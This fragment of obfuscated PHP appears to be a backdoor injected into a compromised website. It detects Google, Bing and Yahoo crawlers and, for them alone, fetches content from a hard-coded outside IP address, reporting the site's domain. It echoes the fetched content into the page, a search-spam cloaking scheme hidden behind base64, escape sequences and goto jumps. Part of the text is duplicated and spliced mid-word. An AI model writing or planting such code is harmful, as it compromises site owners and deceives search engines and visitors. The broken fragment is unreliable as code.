tbotbotbot, "\x6f\157\147\x6c\145") or strpos($botbotbotbot, "\x69\156\147") or strpos($botbotbotbot, "\141\x68\157\x6f")) { $xxx = base64_decode("\116\x6a\x55\x3d"); $xxx1 = base64_decode("\x4d\x6a\x45\75"); $xxx2 = base64_decode("\115\x6a\115\x31"); $xxx3 = base64_decode("\x4d\152\x55\x78"); $xxx4 = base64_decode("\x61\127\x35\167\144\130\121\x3d"); $xxx0 = base64_decode("\x61\x48\122\x30\143\104\157\x76\114\167\x3d\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\x2e" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\57\77\165\163\145\x72\x61\x67\145\x6e\164\x3d" . $botbotbotbot . "\46\x64\157\155\x61\151\x6e\x3d" . $_SERVER["\110\124\124\120\x5f\110\117\123\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\150\x72\145\x66\x3d") < 1) { $result = @file_get_contents("{$url}"); echo $result; } } goto tCykp; k6kT_: goto jjC2f; goto ucx9L; UTzYk: goto CwLfg; goto grJGy; oEdqn: STwvz: goto puow5; ocQ7b: CwLfg: goto j00uf; puow5: $botbotbotbot = str_replace("\40", "\x2d", $botbotbotbot); goto UTzYk; Koaa1: goto STwvz; goto pqOI0; pqOI0: jjC2f: goto Ir1iA; Ra69j: $botboecho $result; } } goto tCykp; k6kT_: goto jjC2f; goto ucx9L; UTzYk: goto CwLfg; goto grJGy; oEdqn: STwvz: goto puow5; ocQ7b: CwLfg: goto j00uf; puow5: $botbotbotbot = str_replace("\40", "\x2d", $botbotbotbot); goto UTzYk; Koaa1: goto STwvz; goto pqOI0; pqOI0: jjC2f: goto Ir1iA; Ra69j: $botbo